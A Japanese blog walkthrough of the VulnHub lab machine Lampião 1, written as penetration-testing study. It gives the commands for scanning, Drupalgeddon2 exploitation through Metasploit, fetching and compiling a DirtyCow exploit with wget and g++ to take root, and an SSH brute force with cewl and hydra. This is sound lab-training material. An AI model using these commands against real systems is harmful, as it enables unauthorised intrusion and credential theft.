【VulnHub】Lampião: 1 -Walkthrough-
はじめに
Vulnhubを使ってのペンテスト勉強を開始。VulnhubはDHCPによるIPアドレス割り当てが必要。前回の記事でやり方を紹介しているので、参考に。初めてのWalkthroughなので、かなり丁寧に書きます。
今回Walkthrough(CTFでいうWriteup)を書いていくのは以下のVM。
- VM:Lampião 1
- Level:easy
- URL:https://www.vulnhub.com/entry/lampiao-1,249/
情報収集
まずはターゲットのIPアドレスの特定から。
#netdiscover -r 10.0.10.0/24
- -r:スキャン範囲を指定。デフォルトでは、192.168.0.0/16に対してスキャン。
10.0.10.254は前回記事で設定したDHCPサーバのIPアドレス。
次に、このターゲット上で開いているポート(起動しているサービス)を 調査。
#nmap -sV -A -p- 10.0.10.11
- -sV:バージョンスキャン
- -A:詳細情報取得
- -p-:フルポートスキャン
22番(ssh)、80番(http)、1898番(http)のポートがopen。80番(http)から調査。
ブラウザ上でターゲットのIPアドレス(10.0.10.11)を入力すると、以下のような画面が表示された。
なんて書いてあるのか不明。これ以上進めなかったので、1898番へアクセス。
ブログのようなものが表示された。今の時点ではUsername、Password共に不明。
Webコンテンツスキャナである、dirbを使ってリンクされていないコンテンツを探索。
#dirb http://10.0.10.11:1898
以下robots.txtの内容。
Disallowと書かれている所を上から順にアクセスすると、「/CHANGELOG.txt」にDrupalのバージョンの記載を発見。
侵入
上記で得た情報で侵入を目指します。DrupalのExploit codeをEXPLOIT DATABASEで探す。
このあたりがいけそう。kali linuxにはEXPLOIT DATABASE内のExploit codeを探してくれるコマンド(searchesploit)があるっぽいので、試した。
#searchesploit drupal
Drupalgeddon2、Drupalgeddon3共にmetasploiにもあるとのこと。Drupalgeddon3は(Authenticated)と書かれているように、認証が必要そうなので、Drupalgeddon2を使う。
metasploitを起動。
#msfconsole
Drupalに関するExploit codeのパスを探す。
>search drupal
これを使う。以下2つを実行。
>use exploit/unix/webapp/drupal_drupalgeddon2
>show options
RHOST(Remote Host)をターゲットのIPアドレスである10.0.10.11に、RPORT(Remote Port)をポート番号1898に設定。
>set RHOST 10.0.10.11
>set RPORT 1898
>show options
設定完了。Exploit codeを実行。
>exploit
meterpreterセッションが確立したので侵入成功。どのユーザで侵入できたか確認。また、etc/passwdファイルより、どんなユーザがいるのか見てみる。
>getuid
>cat /etc/passwd
現在はwww-dataという名前のユーザ。tiagoというユーザも確認できる。今のままでは使用できるコマンドが限られてる。bashを使用して内部探索するために、以下を実行。
>shell
これでbashシェルが使えるようになった。
権限昇格
root権限への昇格を目指す。以下のコマンドでカーネルのバージョンと、OSのバージョンを確認。
$uname -a
$cat /etc/issue
このカーネルのバージョンだと、CVE-2016-5195が突けそう。Referencesにある
Exploit-DB:40847をダウンロードし、攻撃側(kali linux)の「/var/www/html」へ配置。以下コマンドでApache2を起動し、Webサーバとする。
systemctl start apache2.service
wgetでkali linuxから40847.cpp落とす。(とりあえず/tmpへ移動)
$wget http://10.0.10.10/40847.cpp
このExploit codeの最上部にはコンパイル方法が書かれていたので、それをそのまま実行。
$g++ -Wall -pedantic -O2 -std=c++11 -pthread -o dcow 40847.cpp -lutil
すると、dcowというELFファイルが出来上がるので、実行。
$./dcow
rootパスワードがdirtyCowFunに変更された。後はrootになることで、/rootにあるflag.txtの中身を確認できた。
侵入 別解
上記では、DrupalのExploit codeを利用して侵入しましたが、別の方法もあったのでそちらも試してみた。ssh(22番)で侵入する。
以下の図より、記事の投稿者は「tiago」と「Eder」とあるため、sshで侵入する際のユーザ名の候補とする。
hydraを使って、ユーザリストとパスワードリストを作りたいので、この2人を含んだuser.lstを作成する。
パスワードはページ内にあることを期待して、以下のコマンドでパスワードリストを作成。
#cewl -w pass.lst http://10.0.10.11:1898/?q=node/1
- -w:出力ファイルの指定
ユーザリスト(user.lst)とパスワードリスト(pass.lst)が完成したので、hydraで総当たりする。
hydra -L user.lst -P pass.lst -t 4 ssh://10.0.10.11
- -L:ユーザリストファイルの指定
- -P:パスワードリストファイルの指定
- -t:タスク数の指定
ユーザ名、パスワードを発見。これを使って侵入成功。